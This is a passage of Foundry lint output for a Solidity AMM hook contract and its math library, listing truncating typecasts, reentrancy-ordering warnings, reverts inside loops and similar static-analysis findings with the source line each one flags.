disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:138:45\n    │\n138 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                                             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:139:32\n    │\n139 │         return a * a + b * b - int256(c.r * c.r);\n    │                                ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:17\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:46\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:62\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                              ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:144:76\n    │\n144 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                                            ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:200:29\n    │\n200 │             if (hi > maxIn) revert InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:25\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                         ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:38\n    │\n224 │         int256 cShift = int256(sT) - int256(p.s);\n    │                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:225:20\n    │\n225 │         int256 a = int256(p.xi);\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:226:20\n    │\n226 │         int256 b = int256(p.xj) + cShift;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:21\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                     ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:228:34\n    │\n228 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:233:41\n    │\n233 │             if (-disc > sumAB * sumAB / int256(WAD) + 1e20) return (false, 0, 0);\n    │                                         ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:23\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:236:35\n    │\n236 │         int256 root = int256(sqrt(uint256(disc)));\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:23\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                       ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:240:40\n    │\n240 │         return (true, uint256(chosen), uint256(chosen - cShift));\n    │                                        ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:492:43\n    │\n492 │         if (radius == 0) return (amounts, false);\n    │                                           ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:758:42\n    │\n758 │             return (_equalPoint(radius), false);\n    │                                          ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:771:85\n    │\n771 │         if (boundary) return (_circlePoint(lv[l].kNorm, lv[l].sNorm, s, w, radius), true);\n    │                                                                                     ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:777:79\n    │\n777 │             return (_circlePoint(lv[top].kNorm, lv[top].sNorm, s, w, radius), false);\n    │                                                                               ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:779:60\n    │\n779 │         return (_interiorPoint(c, s, w, radius, incoming), false);\n    │                                                            ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[boolean-cst]: misuse of a boolean constant\n    ╭▸ src/OrbitalHook.sol:986:56\n    │\n986 │             if (int256(lv[l].kNorm) <= aAfter) return (true, l); // ascending in kNorm\n    │                                                        ━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/boolean-cst\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n    ╭▸ src/OrbitalHook.sol:577:9\n    │\n577 │         owner = newOwner;\n    │         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:180:9\n    │\n180 │         address _guardian,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:201:56\n    │\n201 │             if (t == address(0) || tokenIndex[t] != 0) revert InvalidTokens();\n    │                                                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:203:27\n    │\n203 │             if (dec > 18) revert InvalidTokens();\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:216:53\n    │\n216 │             if (k <= kMin || k > kMax || k <= prev) revert InvalidLevels();\n    │                                                     ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:104:32\n    │\n104 │         if (kNorm >= sqrtNWad) revert MathOverflow();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:107:23\n    │\n107 │         if (d2 > WAD) revert MathOverflow();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:260:56\n    │\n260 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                        ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:260:77\n    │\n260 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                                             ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:261:44\n    │\n261 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:261:59\n    │\n261 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:295:23\n    │\n295 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:295:58\n    │\n295 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:33\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:40\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:58\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:305:65\n    │\n305 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                                 ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:34\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:41\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                         ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:59\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                           ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:306:66\n    │\n306 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                                  ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:339:30\n    │\n339 │             x[j] += wadOut - rawOut * _scale[j]; // rounding dust stays in the pool\n    │                              ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:21\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:29\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:68\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:349:76\n    │\n349 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                            ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `totalRadius` is updated\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:390:9\n    │\n390 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:391:9\n    │\n391 │         emit Deposit(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:377:45\n    │\n377 │             if (amounts[k] > maxAmounts[k]) revert SlippageExceeded();\n    │                                             ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:390:9\n    │\n390 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `positions` is updated\n    ╭▸ src/OrbitalHook.sol:483:13\n    │\n483 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:450:9\n    │\n450 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/OrbitalHook.sol:536:16\n    │\n536 │         return poolManager.balanceOf(address(this), uint256(uint160(_tokens[k])));\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:451:9\n    │\n451 │         emit Withdraw(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:434:38\n    │\n434 │             if (raw < minAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:450:9\n    │\n450 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:462:9\n    │\n462 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:465:9\n    │\n465 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:466:9\n    │\n466 │         emit ClaimsRedeemed(msg.sender, token, amount, to);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:462:9\n    │\n462 │         poolManager.transferFrom(msg.sender, address(this), uint256(uint160(token)), amount);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:465:9\n    │\n465 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Redeem, account: to, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    